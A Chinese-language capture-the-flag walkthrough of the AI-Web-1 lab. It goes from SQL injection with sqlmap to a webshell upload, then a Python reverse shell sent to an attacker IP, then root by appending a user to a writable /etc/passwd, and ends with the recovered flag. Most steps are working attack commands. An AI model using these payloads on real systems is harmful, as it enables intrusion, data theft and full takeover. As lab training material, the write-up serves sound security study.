利用arp-scan+nmap进行信息收集,确认目标机器的ip为192.168.78.145,开放端口有80
访问80端口,发现没有功能点,只有一个页面。
用dirsearch扫描一下目录,发现了robots.txt,访问一下发现了两个目录分别为/m3diNf0/和/se3reTdir777/uploads/
分别对这些目录进行扫描,在/m3diNf0/目录下发现了一个info.php页面
发现了网站的绝对路径: /home/www/html/web1x443290o2sdf92213/m3diNf0/info.php
依次进行访问,发现/se3reTdir777/是可以成功访问的。
输入1提交后页面返回信息。
输入1'后页面报错,根据报错信息判断应该是个字符型且闭合方式为双引号闭合。
输入1"%23页面成功返回没有报错,印证猜测。
由于是post型的,这里直接进行抓包,将请求包保存为文件,便于后续用sqlmap
#sqlmap检测
sqlmap -r 1.txt
#爆数据库
sqlmap -r 1.txt --dbs
#aiweb1数据库的表
sqlmap -r 1.txt -D aiweb1 --tables
#爆systemUser表中的内容
sqlmap -r 1.txt -D aiweb1 -T systemUser --dump
将三个账号对应的密码用base64进行解密得到密码
t00r:FakeUserPassw0rd
aiweb1pwn:MyEvilPass_f908sdaf9_sadfasf0sa
u3er:N0tThis0neAls0
由于目标没有开启22端口,这几个账号目前好像没什么用处,结合之前进行目录扫描时获得的信息,猜测/se3reTdir777/uploads/可以进行文件上传,可以尝试下sqlmap的--os-shell。
之前在phpinfo页面找到网站绝对路径
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
这里路径必须要为/se3reTdir777/index.php,如果为/se3reTdir777则不能成功获取shell
sqlmap -u "http://192.168.78.145/se3reTdir777/index.php" -data "uid=1&Operation=Submit" --level=3 --os-shell
利用sqlmap上传木马文件
sqlmap -u "http://192.168.78.145/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --file-write hanhan.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hanhan.php
# --file-write 要写入的文件
#--file-dest 写入后保存的位置
冰蝎进行连接,连接地址为http://192.168.78.145/se3reTdir777/uploads/hanhan.php
发现有/etc/passwd目录的可写权限
这里先尝试用su命令进行用户切换,提示必须在终端运行
利用python反弹shell(这里一开始用蚁剑的命令终端执行命令单并没有反弹shell成功,后来切换为冰蝎的命令终端执行命令成功反弹shell)
#攻击机执行
nc -lvvp 9999
#靶机执行
export RHOST="192.168.78.128";export RPORT=9999;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
成功反弹shell,提升为交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
生成要添加用户的明文密码
perl -le 'print crypt("123456","123456")'
写入密码
echo hanh:12tir.zIbWQ3c:0:0:root:/root:/bin/bash >>/etc/passwd
成功写入新用户
利用su命令切换至型用户,成功提权
成功读取flag
flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}